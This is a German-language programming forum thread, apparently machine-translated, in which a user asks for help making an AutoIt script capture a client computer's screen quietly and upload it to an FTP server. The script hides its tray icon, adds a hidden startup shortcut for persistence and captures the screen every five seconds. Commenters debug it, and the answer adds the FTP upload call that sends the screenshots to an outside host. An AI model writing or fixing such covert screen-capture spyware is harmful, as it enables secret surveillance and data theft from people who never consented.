2016-05-16 11 views
-1

Ich habe lernen, AutoIT schreiben etwas kann Bildschirm erfassen und an meinen FTP-Server senden. Aber jedes Mal, wenn es läuft, erfasst es und zeigt es sofort auf dem Client-Computer an. Kann mir jemand helfen, das falsch zu machen? Vielen Dank!Capture-Bildschirm ruhig mit AutoIT

#include <ScreenCapture.au3> 
#include <Inet.au3> 
#include <MsgBoxConstants.au3> 
#include <GUIConstantsEx.au3> 
#include <ButtonConstants.au3> 
#include <File.au3> 
#include <Misc.au3> 
#include <FTPEx.au3> 
#include <ScreenCapture.au3> 

Global $Save, $Num, $Server, $Username, $Password 

$Server = "ftp.drivehq.com" 
$Username = "my_account" 
$Password = "my_password" 

Capturing() 
Func Capturing() 
    AutoItSetOption("TrayIconHide", 1) 

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk") 
    FileSetAttrib($Shortcut, "+H") 
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg" 
    _FileCreate($Save) 
    $i = 0 
While $i <= 10 

    Local $hBmp 

    ; Capture full screen 
    $hBmp = _ScreenCapture_Capture("") 

    ; Save bitmap to file 
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp) 

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg") 
    Sleep(5000) 

WEnd 
EndFunc 

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_FilePut($oConnect, $LocFile, $RemFile) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_FileSend 

Func _FTP_CreateDir($DirName) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_DirCreate($oConnect, $DirName) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_CreateDir 
+1

Entfernen Sie einfach ShellExecute (@MyDocumentsDir & "\ GDIPlus_Image.jpg") und schlafen Sie auch. – Milos

+0

$ LocFile und $ RemFile werden nicht deklariert! – Milos

+1

Sie haben eine Endlosschleife ('$ i' ändert sich nie) und Ihr Upload-Befehl ist * nach * der Schleife. – Stephan

Antwort

0

Eigentlich sagen Sie es nicht die Datei auf Ihren FTP-Server hochladen, nur um es auszuführen.

#include <ScreenCapture.au3> 
#include <Inet.au3> 
#include <MsgBoxConstants.au3> 
#include <GUIConstantsEx.au3> 
#include <ButtonConstants.au3> 
#include <File.au3> 
#include <Misc.au3> 
#include <FTPEx.au3> 
#include <ScreenCapture.au3> 

Global $Save, $Num, $Server, $Username, $Password 

$Server = "ftp.drivehq.com" 
$Username = "my_account" 
$Password = "my_password" 

Capturing() 
Func Capturing() 
    AutoItSetOption("TrayIconHide", 1) 

    $Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk") 
    FileSetAttrib($Shortcut, "+H") 
    $Save = @MyDocumentsDir & "/" & "Log" & $Num & ".jpg" 
    _FileCreate($Save) 
    $i = 0 
While $i <= 10 

    Local $hBmp 

    ; Capture full screen 
    $hBmp = _ScreenCapture_Capture("") 

    ; Save bitmap to file 
    _ScreenCapture_SaveImage(@MyDocumentsDir & "\GDIPlus_Image.jpg", $hBmp) 

    ShellExecute(@MyDocumentsDir & "\GDIPlus_Image.jpg") ; execute/show the image 
    Sleep(5000) 

    ; where' s the upload code? 
    ; it could be: 
    _FTP_FileSend($Server, $Username, $Password, @MyDocumentsDir & " \GDIPlus_Image.jpg" , "test.jpg") 

WEnd 
EndFunc 

Func _FTP_FileSend($Server, $Username, $Password, $LocFile, $RemFile) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_FilePut($oConnect, $LocFile, $RemFile) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_FileSend 

Func _FTP_CreateDir($DirName) 

$oFTP = _FTP_Open("myftp") 
$oConnect = _FTP_Connect($oFTP, $Server, $Username, $Password) 

_FTP_DirCreate($oConnect, $DirName) 

_FTP_Close($oFTP) 

EndFunc ;==>_FTP_CreateDir